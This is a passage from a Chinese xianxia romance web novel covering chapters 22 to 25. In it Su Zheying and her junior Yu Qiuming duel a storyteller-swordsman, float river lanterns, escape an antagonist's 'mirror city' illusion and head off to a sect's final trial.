他这剑阵可不是谁都能挡下的。
言罢,丝毫不给苏折映喘息的机会,提剑攻来,苏折映挽起漱玉竖在身前挡住他的剑尖。
说书人身形又是一转,侧身向下盖头劈来!
他这是打算论剑招。
苏折映借机抓住他身前的衣襟甩向右侧,漱玉脱手,似是有灵性一般向上迎住说书人的剑。
两招之后,两人的身影瞬间比先前快了数倍,只能模糊看清一青一蓝两抹颜色。
瞬息之间就能过下数十招!
玄铁交击的尖锐碰撞声听得万俟霜不禁紧张起来。
燕珩也愣愣盯住那抹青色身影。
是这样。
当年她就是用一支树杈,用着与此刻相同的剑招,挥出了凌冽的气势,三下两除五地将蛇窝屠了个干净。
两人看似难分伯仲,但苏折映知道自己的确是比不过他。<
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p>当然,只是单论剑招。
她能与他对上数十招不过是偷摸用了混元力。
两把剑再一次相撞之后,苏折映停手,收了剑。
青衣稳稳落在郁秋冥身边,拿剑的手向下一侧,漱玉归鞘。
“无月城还有如此前辈,晚辈冒犯了。”话虽如此,但苏折映依旧吊儿郎当的样子,哪里看得见半分谦卑的样子?
“剑招不错。”说书人也收了剑,点评一句。
两人客气的样子,好似先前之间嚣张跋扈的气氛不过是幻觉一般。
苏折映注意到他手中的剑,剑身流畅,剑刃锋利,削铁如泥,黑檀木制的剑柄毫无雕刻,而剑脊却有一条银丝蜿蜒而下,直至剑尖。
“前辈剑也很特别。”苏折映漂亮的桃花眼微微眯起,打量着剑。
说书人觉察到,手腕一动,那银剑便消失不见了。
“你们走吧。”他道。
苏折映弯眉,“前辈不问了?”
说书人摇头,只是转过头,朝始终坐着喝茶的江清野道:“很有眼光,这两人都不错。”
“我何时看错人过。”江清野淡笑一声。
待几人说完,万俟霜渐渐回神,她抓起苏折映右手翻来覆去地细看一遍,像是她手中又有什么玄机似的。
苏折映任她摸了半晌,才道:“我手中莫不是有花?”
万俟霜惊觉自己的行为不妥,立马放下手。
“只是好奇。”
“好奇什么?”郁秋冥忽然递来一抹青色纸帕,苏折映诧异接过,拭去了嘴边的血迹。
没想到小师弟身上还有这东西,看来在平梁城定是得了不少女子青眼。
万俟霜眼神打转,附耳低声道:“好奇你和你弟弟的关系。”
苏折映:“?”
好奇她和小师弟的关系?
苏折映好奇道:“为何这样问?”
在外人看来,她和小师弟不就是姐弟关系吗?
“你不知道吗?”万俟霜却是一脸震惊的样子,甚至还带着点不可思议。
苏折映也是莫名,“我该知道什么?”
莫不是她夜里摸进小师弟屋子的事被她知道了?
“诶呀!你——”万俟霜也不好意思在这么多人面前直言。
江清野喝完了茶,也是悠悠起身,她们两人的话自是被众人听得一清二楚,他温声替万俟霜道:“剑修本命之剑,非剑主和道侣不可拔。”
苏折映不是剑修,自是不清楚还有这么回事,但她用漱玉不是一两次了,为何现在才有人告诉她!
几双烧灼的目光射过来,苏折映搓搓手心的纸帕,僵笑一声,道:“那这肯定不是他的本命剑,对吧?”
她目光递向郁秋冥,无辜的眼神却夹带着警告。
四人此时默契地噤了声,大堂内的萤石忽闪起来,像是在表述苏折映此刻的心境一般。
不。
不对。
她在紧张什么?
她与小师弟可是清清白白的师姐弟关系!
苏折映舒了口气。
郁秋冥却笑了一声,清冽的话音落在她耳中,却犹如催命鬼魂一般,又是令她呼吸一紧。
他道:“漱玉是本命剑。”
22. 祈愿
几人噤若寒蝉,苏折映搓着帕子的手也是跟着停住,萤石明灭,她心里也跟着忽上忽下的。
漱玉既是本命剑。
那她为何能拔出来?
她将帕子递回去,郁秋冥伸手接过,收回时指尖状似无意地划过她的掌心。
苏折映指尖蜷缩,她垂下的眼睫轻颤两下,顶着一众目光,须臾,她道:“大抵是我与弟弟……咳,血脉相连吧。”
狗屁的血脉相连。
早知道剑修的剑怎么玄乎,她就不用了。
抽了这么几天,她都要抽顺手了。
“噗嗤——”
燕珩笑出了声,缓声重复了那两个字,带着莫名的挑衅:“原来是弟弟啊。”
周身忽然冷了些,一股阴冷子气窜出来,门头上被银线吊起的青竹筒摇摇欲坠。
郁秋冥手指盖上漱玉剑柄,指腹细细拂过剑柄上的镂空雕纹,眼中黑沉得像是被打翻了的墨台。
苏折映双手一合,啪的一声,转移话题:“要去别处转转吗?”
万俟霜扬起手,立马附和道:“我赞同!”
素手一伸就要去挽苏折映的手臂,但瞥见郁秋冥有些瘆人的目光,她又默默收回去。
苏折映转身欲走,只是刚转到一半,背身对着郁秋冥时,她感觉到后腰被他虚握住,身子一僵,她好像找到了那股阴冷气息的主人,此刻正朝着她不断贴近。
众目睽睽下,郁秋冥竟是直接从后一手揽着她,一只手伸出来两只手指将她下巴卡在了虎口处,而中指却是蜷起顶在了下巴底。
他两只微微一掐,苏折映的头便被他侧过去。
她双眸一抬,就撞进了那浓墨里。
那双眼似墨池,又像寒潭,墨色纯净透彻,又带着难懂的晦涩。
双眸一弯,郁秋冥嘴角轻扬,明明很是强势的动作,他却漫不经心问道:“苏折映,只是弟弟吗?”
五年前,平梁皇城初遇,这人就轻挑地唤他小美人。
赠剑立约,他就将剑开了锋,冠了名。
平梁再遇,她不识剑,亦没认出他来。
如今又轻薄他许久,却也不过姐弟二字。
苏折映不懂他的情绪,一只手扬起,想借机制住他的动作,被他手疾眼快拦住。
她深吸一口气,道:“你要是想做这老大直说便是!”
现在这样成何体统?!
她堂堂溟川屿少主名声可以不要,但这整日混迹大陆的,总要在别人面前留点面子不是!
“你——”
郁秋冥咬牙,捏着她下巴的手竟是有些颤,本是虚握在腰间的手此时直接覆上。
苏折映觉着,若是小师弟实力在她之上,此时怕是会掐死她。
“这件事你若真的在意,回去你我好好商量便是。”她压着声,笑吟吟握上郁秋冥的手腕,救下自己的下巴,又将腰间的桎梏挣开。
郁秋冥掌心的温度被微凉的空气取代,他神色一凉,冷冷道:“好啊,终试结束后就去找‘姐姐’好好商量一番这事。”
炎日夕照,暖光打进来,那抹蓝白衫在不知不觉中离开,打了圆场,“时候也不早了,不是说要去别处转转?”
大堂内满地狼藉,不多时便有人来打扫了,万俟霜也是松了口气。
四人踏出无上阁,拐出暗巷,便涌入了人潮。
无上阁邪乎,像是另一番的桃花源,不难觅,却无人。
他们朝着城中央去,苏折映几次欲言又止。
万俟霜以为是方才的事惹得她心里不舒服,出声安慰,“姐弟嘛,哪家姐弟还没个拌嘴?”
苏折映却摇头,她想的不是这事。
只是觉得说书人那剑好生眼熟。
她拍了下江清野,问道:“那先生是何人?”
江清野缓下步子,只是刚张了口就被苏折映一旁的人冷声打断:“古落宗前任首席大弟子。”
郁秋冥双手环胸,目不斜视。
不知道的还以为只在自言自语,见苏折映不出声,他才算是偏了头看过来。
“怎么,不信?”他拧眉。
“怎么不信?”苏折映轻笑,“只是没想到小师弟知道的这般多。”
她还以为这位被郁氏藏着的小疯子是个只会杀人的利器。
像是料到她所想一般,郁秋冥讽笑,“苏折映,我是被藏着,不是被埋了。”
“知道了知道了,叫我名字作甚?没大没小。”苏折映皱起眉,每次听到小师弟唤她名字便觉得浑身一颤,像是被盯上一般,瘆得慌。
“不过,你又如何断定?”
古落宗的情况她知道的甚少,但这首席大弟子是何人她还是知道的。
却未曾听闻过前大弟子一说。
郁秋冥忽地挨近,矮下身,细细打量着她,若有所思道:“溟川屿小少主对大陆势力的掌握竟如此匮乏吗?”
苏折映习惯性后撤,不过这次却被他无所顾忌地拦住。
“你话何时这般多了?”
还有,叫她师姐!
郁秋冥靠近她耳边,薄唇几乎是贴着她的耳骨,轻声道:“师姐不喜欢?”
“不喜欢!”
小师弟脸皮何时这般厚实了?
方才还冷言相对,此刻便又凑过来,无上阁时便算了,大庭广众下竟也如此。
苏折映一只白净的手抵在他前襟,郁秋冥低头,目光落在上面。
他笑道:“师姐这是——”
不等他说完,苏折映一用力就将他推开了,郁秋冥的嘴角的笑意僵住,最后还是无奈地站了回去。
他接着前面的话,不紧不慢道:“可曾听过古落有一剑?”
“你说的是银岐?”苏折映正了脸色。
难怪会觉得那把剑眼熟,她曾在溟川屿的书阁中看过名剑谱,其中便有银岐一名,是古落宗的命根子。
古落银岐,形若银蛇,可破万阵。
而这把剑所成的阵却是万剑难破。
“不错。”他点头。
苏折映疑惑道:“不是说这把剑在几年前失主,剑灵自封,被古落宗安置在了万剑冢?”
“那是古落宗对外的说法。可事实却是银岐剑主叛逃宗门,一并带走了它。”郁秋冥道。
苏折映啧声:“这等宗门秘辛你居然会知道。”
“碰巧。”
他显然不愿多说,苏折映也不多问。
江清野他们的身影已经没入了人群,她发现大多数人都是顺着朝城中央去的,越是往前便越热闹。
此时算是彻底入了夜,无月城内燃起了一盏盏琉璃灯,城里有一处内河,从距城门一里处一直向内延伸,直至贯穿出无月城。
两人恰好便在河边,有几城内百姓带着家眷来放灯,两三盏莲花状油纸叠成的河灯,灯芯却是不燃蜡烛。
待将灯放进
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去,就见一个男子从怀中拿出一张黄色符纸,上面用朱砂绘上符文,他将符纸贴上河灯后,符纸瞬间消失,而河灯却忽然变得通体泛着蓝光,悠悠飘向南边。
苏折映惊奇,这种河灯她还闻所未闻。
那符纸上画的也不过是普通的附光符咒,持续时间不过短短一刻钟,比不了蜡烛的。
她走到那人旁边,问道:“请问,这灯为何燃的不是蜡烛?”
那男子身边还站着一个妙曼女子,她发髻低挽,披着深色的斗篷,掌心还捧着一盏青色河灯。
一眼看出他们不是无月城人,便热情解释道:“两位不是本地人吧。符纸燃灯敬七神,含着玄力的河灯才能被七神门看到,保佑我家人平安顺遂。”
“七神?”
原来七神在他们眼中地位竟如此之高,可她至今未见一处供奉七神的庙宇。
“姑娘不知道吗?”她捧着河灯,望向一盏盏往南飘的河灯,神色虔诚,“这是我们大陆的守护神。”
“原来如此,多谢这位姐姐解惑。”苏折映颔首,谢道。
听到她的称呼,女人掩唇,红着脸瞄了一眼河边的男人,娇笑道:“小姑娘这声姐姐叫得可真甜!”
“来。”女人握住苏折映的手,拉到身前,将手中的青色河灯放到她掌心,很是小巧的一只,花瓣做工精细得很,一看就知道与街上卖的不一样。
“我瞧着这盏灯很衬你,姐姐送你了。”
那男人却瞪圆眼,很是不满,只是刚有个说话的苗头就被她一眼瞪了回去。
女人睇了一眼郁秋冥,笑道:“河灯祈愿,不仅可以祈愿家人,也可以祈愿伴侣!”
“小姑娘的伴侣多俊呀!”
“姐姐你这就误——”
苏折映想把河灯推回去,却被另一只截住,河灯被拿走。
郁秋冥笑道:“那就多谢这位夫人了。”
“客气什么。”女人给自己丈夫使了个眼色,拽着他离开了。
“想放灯吗?”郁秋冥将手中的河灯重新递回来,问道。
苏折映翻个白眼,“接都接了,不放还能扔了不成?”
不过,他们好像没有附光符。
“等着。”她丢下一句,转身窜进人群。
苏折映跑到一家符纸铺子里买了支笔,蘸了铺子里磨好的墨,又跑回来。
她拿过河灯,洋洋洒洒画了一串——
鬼画符。
郁秋冥抿唇,不确定道:“附光……符?”
“不然?”苏折映挑眉,反问道。
笔落,咒成。
青色油纸上浓稠的黑墨瞬间消失,油纸上泛了层白光。
至于为何是白色,大抵是因为她用的不是玄力吧。
她拖着河灯,两人一齐走到河边蹲下。
轻木底板被置到河上,青色莲花晃悠几下就平稳下来,往前面的‘队伍’中去。
河面上星星点点的蓝光中,这抹白色格外惹眼。
“祈何愿?”
郁秋冥侧过脸,盯看着她。
“无愿,不祈。”
苏折映眼神游离在河面上,她确实没有什么愿望。
“那我祈愿。”
郁秋冥勾起嘴角,他背着光,琉璃灯没照到他眼中,身边的祈祷声和潺潺流水声交织,一并没入他暗沉的双眸。
我祈愿——
苏折映此生握月担风。
23. 镜中城
夜幕之中,少年立在立在河边木板上,金丝勾勒的云卷黑衣被夜风吹得轻扬,腰间吊坠发出清脆铃音。
郁秋冥长低垂着眸,睫投下阴影,他双手抱握,虔诚的样子丝毫不比周遭的人差。
须臾,他睁开眼,苏折映好奇道:“祈了什么愿?”
郁秋冥放下手,神秘道:“师姐不妨猜一猜?”
“早日复仇?”
“不是。”
“那是何?”
还有什么事比复仇重要么。
却见郁秋冥负起手,笑而不语。
“不说便算了。”苏折映随意道,“走了,快要追不上他们了。”
她转过身,从木板上上去,郁秋冥又看了一眼飘远了的河灯后,默默跟上去。
两人从河边撤出来后,顺着人流往前去。
两边的摊贩大声吆喝,上到功法兵器,下至瓜果鱼米,烟火气足得很。
越是往前去,两侧阁楼装潢越是奢华,楼顶翘角缀着朱雀状火红风铃,朱红门柱上花枝缠绕,二层也挂上了鲛绡红帐,苏折映一抬头便能看到二层阁中的娇美女子妙语连珠。
而城主府坐落在无月城最中央,即便在一尽奢豪楼阁之中也极为惹眼。凡是城主府附近的楼阁皆不可与其同高,且在城主府范围内置了多处阵法,玄气充裕。
可就在苏折映一脚踏入城主府范围的一瞬间,一股无形气流在脚下荡开,喧嚣的人群一下子静默。
不,是静止。
原本在黑夜中的色彩开始从外向中变得灰然暗淡,最终只剩下黑白一片,而她和郁秋冥一青一黑成了灰暗中仅有的色彩。
而在无月城彻底灰暗下来之后,方才还停滞着的人此刻竟是恢复如常,空着眼,继续做着之前的事。
苏折映潋滟的双眸中划过诡谲的异芒,身后的人朝她靠近,她出声道:“小师弟。”
郁秋冥走到与她齐平的位置,“我在。”
“我好像闻到了恶臭味。”
魇魔身上的味道,很淡,但又感觉离她很近。
闻言,他细嗅了一下,只闻到了苏折映身上的檀香。
苏折映神色严肃起来,她一只手缓缓压上心口,感受到阵阵跳动,却是带着刺痛感,让她有一种喘不过气的感觉,与那晚在万象宗时一模一样。
手腕被一只温热的掌攥住,郁秋冥低头道:“师姐?”
“无事。”苏折映压下异样的感觉,沉声道:“这里不是幻境。有人将我们拉入了镜中城。”
说是镜中,而这里的一切都是真实存在的,镜中城发生的都会毫无保留地影响到真实世界里,但只有被拉入镜中城的人才会有自主意识。
或许,在踏出无上阁时就已经进入了圈套。
可若想将人神不知鬼不觉拉入镜中城,实力至少已经是玄空或是遁虚了。
思索间,她忽然听见出鞘声,郁秋冥执着漱玉,神色阴郁盯着前方。
灰暗中,一个熟悉的身影站在街中央,他在涌动着的人群中尤为显眼。
黑靴踏地的沉闷声渐进,黑衣人戴着一贯遮面的兜帽走到两人身前,苍白的指尖拉了拉帽檐,发出的声音一如既往的难以入耳。
“好巧,我们又见面了。”
巧?
苏折映冷笑,“阁下在方城断青冥宗弟子一臂,在万象宗夜引魇魔,如今在此设下镜中城,真是良苦用心。”
“少主谬赞。”黑衣人怪笑一声,像是真的被夸赞了一番。
他抬起瘦骨嶙峋的手,想去触苏折映头上的黑色发带,只是还没碰上就被漱玉冰冷的剑身挡住,他毫不在意收了回去。
“你这师弟不错。”
“没功夫陪阁下闲谈。”苏折映嫌恶蹙起眉,这人身上没有魇魔的气息,但却令她极为不适,心口像被一只无形的大手揪住,刺痛感更强烈了。
“哈哈,不过是想来告诉小少主一件事。”
黑衣人再度举起手,打了一响指,周围人像是得了什么指令一般静止下来,他这才满意道:“小少主难道不好奇自己的身世吗?”
“无父无母,有何身世。”
没有知道的必要。
“那你也不好奇近来身体的异常?”黑衣人引诱道。
“难道不是阁下搞的鬼吗”苏折映处变不惊的模样,像是一早就发现了。
黑衣人:“这可就冤枉我了,我来就是想好心告诉小少主,你身体的异常与你身世有关。”
他丢出一枚铜板,苏折映抓住,摊开手心,铜板上黄红两面,黄面上篆着神字,红面则篆着魔。
“神魔两面,吉凶双道,抛出既定。”黑衣人做出一个请的动作,“小少主不妨试一试。”
苏折映捏着铜钱,轻笑一声,将它抛向上空后,又是伸手打出一道灰雾,那铜钱便碎得连渣都不剩。
“那要让阁下失望了,我不信荒谬之谈。”
黑衣人也不恼,只是淡淡道:“那再为小少主指条路,平——”
“臭丫头!”
黑衣人话没说完,就被一道声音打断,而他的身体也在那声‘臭丫头’后迅速崩溃,苏折映身边除了郁秋冥外,静止的一切都像是被打碎了的镜子一样崩裂开来。
色彩重现,嘈杂声也重新灌入耳中,镜中城彻底破碎,苏折映心口的痛感也跟着一并消失,她朝声源方向看去,菩提子穿着白道袍,手里拿着酒葫芦,打了个酒嗝。
“臭丫头,你们怎么回事?傻站在街里,难不成这是什么新型卖艺?”菩提子灌了口酒,将两人细细打量一遍,又道:“不像啊。”
“老头怎么也来无月城了?”苏折映道。
菩提子拿起酒葫芦晃了两下,“当然是来买酒喝。没想到刚出了酒肆酒瞧见你们失了魂似的杵在这。”
苏折映意味深长道:“您当真不知道?”
他能一语破镜,又怎会不知他们身处镜中城。
菩提子打了个马虎眼,“相遇便是缘!你答应老夫的酒什么时候给?”
她学着菩提子算命时神乎的模样,“时候到了自然就会给了。”
“诶你这丫头!”菩提子气得瞪眼,他挥手驱赶道:“去去去,老夫不想看见你,什么时候带酒了再来找我。”
“方才多谢老头您了。”
苏折映吊儿郎当的样子,菩提子看着更气了,但还是伸出手,竖起了两根手指。
苏折映:“……”
这个酒蒙子。
她欲走,菩提子急声道:“诶诶,看到没有?!”
“看到了。”苏折映低声道。
两坛酒,她该怎么糊弄师父他老人家?
灵光一现,苏折映瞄了一眼郁秋冥,怎么就忘了,她可以甩给小师弟啊!
苏折映瞬间嬉笑起脸,“走吧,去找江清野他们。”
虽然他们被黑衣人
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拉入了镜中城,但时间流速与外界没有分差,尽管他让镜中城内的人静止下来,但只要无人伤亡,外面的便不会有影响。
等她找到他们时,三人正在城主府门前围观一场城主亲自举行的论茶会。
门前中央只设了寥寥五张茶案,一案一人,来的可都是大陆中颇具盛名的人。
围观的人里里外外围了有七层之多,外围的人尽管看不清里面,也要在场听他们论一番。
饱不了眼福,总得饱个耳福吧?
江清野三人来得不早,只在最外层凑个热闹。
燕珩是第一个发现她苏折映的,他抱着剑,身边站着月白衣袍的江清野。
燕珩浑然听不进去他们的论道,余光瞥见熟悉的身影,他立马扬声道:“苏小姐。”
郁秋冥闻言却是眉峰微蹙,也喊道:“师姐。”
他的显然声音没有燕珩的响亮,苏折映走过去,原地未动的郁秋冥郁着脸,口中的舌顶着虎牙尖,满脸不爽。
他抬脚跟上去,不动声色挡在了苏折映身前,替她打招呼道:“江公子。”
末了,才悠然出声道:“燕公子。”
燕珩敷衍颔首,想说的话被面前的人给堵了去。
两人之间暗潮涌动,苏折映隐隐感觉到气氛不对,在人群中张望起来。
“折映?”万俟霜从人堆里窜出来。
苏折映舒下口气,笑道:“万俟。”
万俟霜愣了一下,还是第一次有人这样唤她名字。
“你们偷偷摸摸做什么去了?这么久才到,我们都要打算回去了。”万俟霜幽幽道。
苏折映坦荡道:“放河灯。”
“放个河灯还要偷偷摸摸的?”
“……”
苏折映难得语塞,江清野很是熟练地打圆场,道:“你们还有要去的地方吗?没有便要回万象宗了,亥时之前要回去的。”
“我们已经看得差不多了。”万俟霜转头丢了上个话题,也跟着道。
苏折映摇头,“并无,小师弟呢?”
郁秋冥:“没有。”
“那便回去吧,明日修整一番后便要去阴魂林界了。”江清野道。
五人往回走,方才来时的人群皆是顺着向城主府而去的,此时却是来来往往都有。
看来,黑衣人确实是很早就就将他们拉入了镜中城。
一路上,万俟霜像是打开了话闸子般滔滔不绝,跟初见时冷傲的模样完全相反。
等回到万象宗,万俟霜忽然问道:“你们应该知道阴魂林界吧?”
苏折映道:“当然。论凶险,阴魂林界当属第一。”
倒不是她夸张,而这是大陆公认的事实。
“那你可听过一去不归的黄泉路?”万俟霜又问。
“……自然。”
听她口中如此描述溟川河,苏折映一时不知该喜该悲。
阴魂林界盛名大陆,不仅仅是林界内有着高阶凶兽的原因的原因,还有一部分的因素便是溟川河。
溟川屿坐落最南处的山上,山下是阴魂林界,而溟川河就在林界外围,因为大多数人不愿意踏足这里,甚至以讹传讹,时间久了,便都认为溟川河便是一条冥河。
因此大陆便开始传言溟川河连通了冥界,踏过溟川河的都去了黄泉路,而活着的便都是溟川屿之内的弟子了。
依苏折映的原话,简直是无稽之谈!
24. 天赋
万象宗山门下,象征着宗门脸面的石门修得威严阔敞,五人闲散地站着,在一众回宗的修士弟子中煞是突兀。
“哎呀,不瞒你们,其实我来万象宗就是奔着这试炼来的。”万俟霜道。
“终试之后,不论成绩如何,我都要回家族中去。”
苏折映一怔,转眼便又释然了,之前还在疑惑堂堂万俟氏小姐居然也会来万象宗,其实一些大家世族的资源也并不会差到哪里,没想到是奔着阴魂林界的,不过——
“阴魂林界也只是凶险,并无秘境法宝可寻。”她疑惑道。
这也是为何阴魂林界无人问津的原因。
“不。”
万俟霜眉峰一簇,一双丹凤眼便锐利起来,她一瞥来往的修士,面色有些犹豫。
苏折映了然,抬手布下法阵,不需要任何起势动作,一层淡灰色光芒就将几人笼罩住。
在外人眼中,只看到五人忽然凭空消失在门前。
万俟霜瞬间眼光发亮,道:“我还真是真好奇。”
苏折映懒散惯了,此刻不过站了会儿就觉着累,便又倚在了石门柱上,她掀起眼帘,问道:“好奇什么?”
“还有什么是你不会的?”
万俟霜伸出手,掰出一根手指,道:“论修为,虽然不清楚具体什么实力,但我们之中,应该没有比你更强的吧?”
她又掰出第二根手指。
“论天资,旁人修个道都需要大把时间精力了,而你不仅修为得了,甚至精通阵法。”
万俟霜摇头叹气,“此等人,如何不让人羡慕。”
说着,就见她伸出了第三根。
“打住!”
苏折映立起手掌,及时叫停,“不是要说阴魂林界吗?怎么就扯到我身上了。”
“这不是羡慕你这种天赋怪物吗!”
苏折映笑道:“这么说的话,在场几位也都不一般。”
江清野继承家族摄魂术,年纪轻轻便是玄胜境界。万俟霜家族独苗,自是重点培养对象,即将步入浊歧,同龄之中的佼佼者。
而燕珩,虽然了解不多,但单说二十岁便混元小成,足够让他名震大陆。
至于她小师弟——
十九岁与她同境,虽然略差一截,但胜在剑法了得。如今又入了她溟川屿,踏入混元一途,又是多少人求而不得的。
天赋怪,怎会只她一人。
“咳,言归正传。”江清野在一旁提醒道。
万俟霜也收了玩笑,她从乾坤袋中拿出一枚留影石,黑黝黝的石头上淬着银光,玄力注入后,留影石自己漂浮到半空,映射出一段画面——
阴沉的暮夜下,有着百丈之高的诡异红树,浓稠的黑色物体不断从暗红色枝叶上滴落,整个红林中紫色瘴气弥漫。
未名于世的花种灵草长在酷似泥浆的地里,甚至时不时还会有几只庞然大物踏过,压出几条黑泥泥的路。
映射出的场景赫然便是阴魂林界。
“你们细看。”
万俟霜伸出一指,点向红林深处一簇矮花丛。
那花丛生得普通,连灵草都算不上,就长在一处矮红树旁,红叶白花,花瓣被一层从树上滴落下的黑色物体覆上厚厚一层。
但丛中却是隐隐有一点白光,若不细看,还真看不出来。
“这是我父亲一年前去阴魂林界时发现的,听他描述,像是个秘境,但是好是坏便不清楚了。”万俟霜说完,发现几人都缄默不语,她收了留影石,嘶了一声。
“怎么都不说话?”
江清野温声道:“万俟小姐将此事告诉我们,就不担心我们与你争夺这秘境?”
万俟霜却是昂首,自信道:“我交朋友,还是挺相信自己眼光的。再说,一来这秘境吉凶尚且不知,二来而阴魂林界有多大?”
她侧身指了指身后的万象宗,又比了个圆圈,“几乎与万象宗相差无几了!要在这么大的地方去寻秘境,难如登天!”
“那万俟小姐此行这是?”江清野问道。
“寻秘境不假,不过在次。主要是想在阴魂林界历练一番。”万俟霜甚至还瞥了眼燕珩,“这不,怕我死外边了,还让他跟着我。”
“不过,这次之后,燕珩你也该离开了吧?”
她万俟氏救他一命,培养数载,而他也随家族效命数年,就如她父亲当年所言——
万俟家不是鸟笼,困不住鹰隼。
他有他的去处,但总归不该是菩提宗中这处小小的万俟氏。
燕珩负着剑,他背着月光,将脸藏在了阴影下。
藏蓝色长衫衬得他尤为老成,原本低垂着的头此时抬起来,却是颇为隐晦地看向苏折映,嗯了一声。
将他小动作看得一清二楚的郁秋冥抵着牙尖,故意道:“想必燕公子这样的天才,也不会屑于留在万象宗吧?”
话落,几人都好奇望了过来。
万俟霜道:“对啊,燕珩你日后可有打算?”
燕珩冷冷瞪了一眼郁秋冥,道:“我打算留在万象宗一阵子。”
“可你修混元道,留在万象宗怕是学不到什么东西吧?”江清野也问道。
“只是早些年便想来看看。”燕珩摇头,语气温和,与方才像是判若两人。
“那便好。”万俟霜松下口气,总归不是无处可去。
苏折映慢悠悠走到郁秋冥身侧,她用臂肘轻撞一下他,低声问道:“你与燕珩有仇?”
她还未曾见过小师弟与谁这般剑拔弩张,燕珩也是,似乎同样不怎么待见他。
郁秋冥侧过头,幽幽道:“有仇。”
“什么仇怨,说来听听?”听到有仇二字,苏折映眼睛都亮了,直勾勾盯着他。
郁秋冥受不住她这般,伸手将她的头转过去,“日后告诉你。”
几人不觉在这门前站了已有半个时辰,远处半隐在云雾中的金塔转动起来,夜归的钟声如约而至。
苏折映撤下法阵,此时山门前除了他们,已经不见其他人。
从此处到他们住的峰上,少说也有上万层台阶了,慢慢走怕是得走到天亮。
五人之中,独独苏折映无剑,最终她被万俟霜载着回去了。
到院子中,万俟霜打了个招呼便早早回屋休息了。
苏折映却是合衣躺在榻上,侧身枕着臂弯,脑中不断回忆着今日镜中城里黑衣人说的话。
神魔两面,吉凶双道。
她莫名想起菩提子为她算的一卦。
‘半身命格,好命变烂命!’
还有——
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她的身世。
师父当年抱她回来时她不过一个襁褓婴孩,不记事。但师父告诉她,自己是在北颠的雪山脚下捡到的她。
而在她不远处,便是一处小村子,大抵是那村子的弃婴,算出她命好,又瞧着可怜,这才接回了溟川屿。
苏折映缓缓抚上心口处,没有那令她喘不过气的闷痛感。
好像这次下山之后,她曾经毫不在意甚至从未思考过的问题,都一个个被人揪了出来,砸在了她的面前,让她不得不重新审视他们。
苏折映猛然坐起身,下了塌,走到桌前,破掉的窗子又被人及时修补好,换上了新的,她拿出一卷青色丝线和一块红艳艳的石块。
石块不似普通山石路石,外层剔透,内层好似裹着一个小红石,明亮晃眼。
苏折映又陆陆续续从乾坤袋拿出不少东西,都是用来给万俟霜做吊坠用的。
本想入了万象宗后再做的,可今夜她说终试后就要离开,索幸睡不着,今晚便把吊坠给她做出来。
说是一夜,苏折映还真就花了整整一夜的时间。
天色熹微时,她一身腰,转了转发酸的脖子,一只手勾着青色坠绳,剔亮的山茶在照进来的晨光下映出细碎的红光,同她的黑百合一样,花芯朝下,花穗的青色流苏里缀着铃铛。
她手一晃,山茶便清脆响。
苏折映满意欣赏一番后,找了个锦盒将它放置起来,待终试结束后再交给她。
刚将锦盒收进乾坤袋,屋门就被人敲响,万俟霜带着困意在门外道:“折映,醒了吗?有弟子传令说一个时辰后在汇武场集合,由传送阵前往阴魂林界。”
苏折映将东西收拾好,推开门道:“来了。”
万俟霜今日换了身衣裳,白色轻便罗裙,明显比往日素净的多,发上也单单束了一根玉簪。
见她出来,万俟霜立马发现了她的不对劲,将脸凑过来,惊讶道:“你昨夜偷鸡了?”
苏折映推开面前的脸,面无表情道:“没有。”
“那你怎么看着如此憔悴?”
“没睡好。”
“是吗?”万俟霜将信将疑。
苏折映怕她再多问,便立刻带着她出去了。
院外,三人已经整整齐齐地站在了门前,江清野与郁秋冥两人万年不变的一白一黑,杵门口跟黑白双煞似的。
倒是燕珩,今日也换了身白衣,身上的老成瞬间烟消云散,活脱脱的一个少年郎。
“久等久等。”万俟霜从苏折映身后探出头,歉声道。
江清野身边两人一个比一个沉默,他只得开口道:“我们也刚到。”
苏折映道:“那便去汇武场?”
此峰距主峰最远,御剑过去也需两刻钟了。
几人点头。
此时正是曙光将出,光线从云雾间刺破,照在几人身上,像是镀了层光。
刚踩上剑,万俟霜正要喊苏折映上来,就见一个黑色身影快她一步,越过她,拉起苏折映的手腕。
不待他们反应过来,郁秋冥很是强势地将她带上了漱玉。
就连苏折映自己都没反应过来,等她回过神来,漱玉已经甩出一段。
只听他对着身后的几人道:“师姐说想跟着我。”
苏折映:?
25. 终试
郁秋冥的声音被风声盖住,万俟霜眼前一阵风窜过,不仅人没了,就连他说了什么都未听清楚。
万俟霜瞪起眼,双手放在嘴边,大吼一声:“喂!把折映还我啊!”
这声音说大不大,但也不小,空中有几个修士被她这一吼惊得险些没站住脚。
低头便要怒声口头教训一番,瞧见是万俟氏小姐,又立马一副无事发生过的模样,匆匆离开。
远处漱玉早就不见了踪影,万俟霜只能在原地攥起拳头无声狂怒。
江清野唤出自己的佩剑,是青冥宗外门弟子的统一佩剑,他踩上去后,提醒道:“万俟小姐,再不走便要赶不上了。”
闻言,万俟霜对着空气又挥了几下拳头,“多谢江公子提醒。”
她低头,目光触及到江清野的佩剑时,神色一顿,而后又若无其事踩上自己的剑,朝着郁秋冥的方向追去。
但郁秋冥又怎么会让他们追上?
他故意行得极快,略带湿意的晨风将两人吹得衣袂翻飞,郁秋冥又侧了侧身子,将风尽数挡住。
苏折映也自是不会委屈了自己,更何况自己还是被小师弟强行给抓上来的。
她矮着身子,一只手抓在了他的衣袖上,另一只手却是伸向自己腰侧,笑道:“小师弟这是何意?”
毫不意外地,腰间被一只手掌虚扶着,虽然并未碰到她,但依旧能隐隐感受到他掌心的热度,透过轻薄的衣料传到腰间。
郁秋冥回头,低头附在她耳边轻声道:“自然是怕师姐掉下去。”
苏折映后腰发痒,她拍下腰间的爪子,“我还会掉下去不成?”
虽然她平日喜欢调戏一下小师弟,但一码归一码,调戏归调戏。
他们可是亲师姐弟,有悖人理的事她可不做。
苏折映心虚,将爪子拍掉后,她只用了两根指头捏住了郁秋冥的袖子。
像是沾了他袖子就会沾上什么毒一般。
郁秋冥抬起那只被打的手,她力气向来大,白皙的手背上印着红红的指印。
在苏折映看不到的角度,他勾起唇,一脸坏笑。
离汇武场越近,周遭的弟子便越多,苏折映与他保持着间隙,心里不断算计着抵达汇武场的时间。
神色飘忽间,身体忽然失重,漱玉像是不听使唤一般,向下方坠去,突如其来的变数让苏折映下意识抓住身前的人。
原是堪堪两指捏住他的衣袖,现在直接变成了两手抓握住他的腰身。
漱玉的失控只是刚刚那一瞬,眼下它又平稳地飞在空中。
苏折映听见身前人喉间溢出的笑,她反应过来这是小师弟在捉弄她。
“师姐这是?”郁秋冥一本正经地问道。
